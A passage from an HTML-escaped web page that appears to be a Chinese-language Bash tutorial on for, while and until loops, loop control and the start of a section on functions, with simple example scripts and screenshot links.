&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;fruits&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;苹果&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;香蕉&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;橘子&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; fruit in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;fruits&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;水果: &lt;/span&gt;&lt;span class="nv"&gt;$fruit&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例-1"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516141053886" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141053886.png"&gt;&lt;/p&gt;
&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;while&lt;/code&gt; 循环&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="基本语法-1"&gt;&lt;strong&gt;基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; 条件&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;循环体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="应用场景-1"&gt;&lt;strong&gt;应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;条件持续满足时循环&lt;/strong&gt;（如读取文件、等待任务完成）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无限循环&lt;/strong&gt;（需搭配 &lt;code&gt;break&lt;/code&gt; 或外部终止条件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="示例-1条件控制循环"&gt;&lt;strong&gt;示例 1：条件控制循环&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计数器从1累加到5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt; -le &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计数: &lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="输出示例-2"&gt;&lt;strong&gt;输出示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250516141150659" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141150659.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-2读取文件内容"&gt;示例 2：读取文件内容**
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 逐行读取文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;行内容: &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;w2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141326133" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141326133.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-3无限循环--用户输入退出"&gt;&lt;strong&gt;示例 3：无限循环 + 用户输入退出&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 持续询问用户输入，直到输入 &amp;#34;exit&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;请输入命令（输入 exit 退出）: &amp;#34;&lt;/span&gt; cmd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;exit&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;执行命令: &lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141741050" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141741050.png"&gt;&lt;/p&gt;
&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;until&lt;/code&gt; 循环（补充）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;与 &lt;code&gt;while&lt;/code&gt; 逻辑相反，当条件为 &lt;strong&gt;假&lt;/strong&gt; 时执行循环。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 直到计数器大于5时停止&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;until&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$count&lt;/span&gt; -gt &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计数: &lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516141825441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516141825441.png"&gt;&lt;/p&gt;
&lt;h3 id="循环控制语句"&gt;&lt;strong&gt;循环控制语句&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;命令&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;break&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;立即终止循环&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ $i -eq 3 ]; then break; fi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;continue&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;跳过当前循环，进入下一次&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ $i -eq 2 ]; then continue; fi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="选择循环的建议"&gt;&lt;strong&gt;选择循环的建议&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;已知迭代次数/列表&lt;/strong&gt; → &lt;strong&gt;&lt;code&gt;for&lt;/code&gt; 循环&lt;/strong&gt;
（如处理文件、数组、数字序列）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖动态条件&lt;/strong&gt; → &lt;strong&gt;&lt;code&gt;while&lt;/code&gt; 循环&lt;/strong&gt;
（如读取输入、监控进程状态）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="综合应用脚本"&gt;&lt;strong&gt;综合应用脚本&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 查找并压缩所有 .log 文件，直到总压缩文件超过 3 个&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;log_count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$log_count&lt;/span&gt; -lt &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找未压缩的 .log 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in *.log&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; gzip &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已压缩: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;log_count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 达到3个后退出循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$log_count&lt;/span&gt; -ge &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="c1"&gt;# 跳出外层 while 循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 等待新日志生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已压缩满3个文件！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142139500" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142139500.png"&gt;&lt;/p&gt;
&lt;p&gt;通过灵活组合 &lt;code&gt;for&lt;/code&gt; 和 &lt;code&gt;while&lt;/code&gt;，可以高效处理文件操作、系统监控等任务。&lt;/p&gt;
&lt;h2 id="函数"&gt;函数
&lt;/h2&gt;&lt;p&gt;在 Bash 脚本中，函数（&lt;strong&gt;Function&lt;/strong&gt;）用于封装可重复使用的代码块，提升代码的可读性和复用性。以下是 Bash 函数的详细用法及示例：&lt;/p&gt;
&lt;h3 id="1-定义函数"&gt;&lt;strong&gt;1. 定义函数&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="语法"&gt;&lt;strong&gt;语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 方式1：使用 function 关键字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; 函数名 &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;函数体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 方式2：直接定义（兼容性更好）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;函数名&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;函数体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="示例-1简单函数"&gt;&lt;strong&gt;示例 1：简单函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义一个打印欢迎信息的函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;welcome&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;欢迎使用本脚本！当前用户：&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;welcome
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;欢迎使用本脚本！当前用户：ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142559077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142559077.png"&gt;&lt;/p&gt;
&lt;h3 id="2-函数参数"&gt;&lt;strong&gt;2. 函数参数&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;函数通过位置参数（&lt;code&gt;$1&lt;/code&gt;、&lt;code&gt;$2&lt;/code&gt;&amp;hellip;）接收参数，与脚本参数类似。&lt;/p&gt;
&lt;h4 id="示例-2带参数的函数"&gt;&lt;strong&gt;示例 2：带参数的函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义一个加法计算器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;add&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
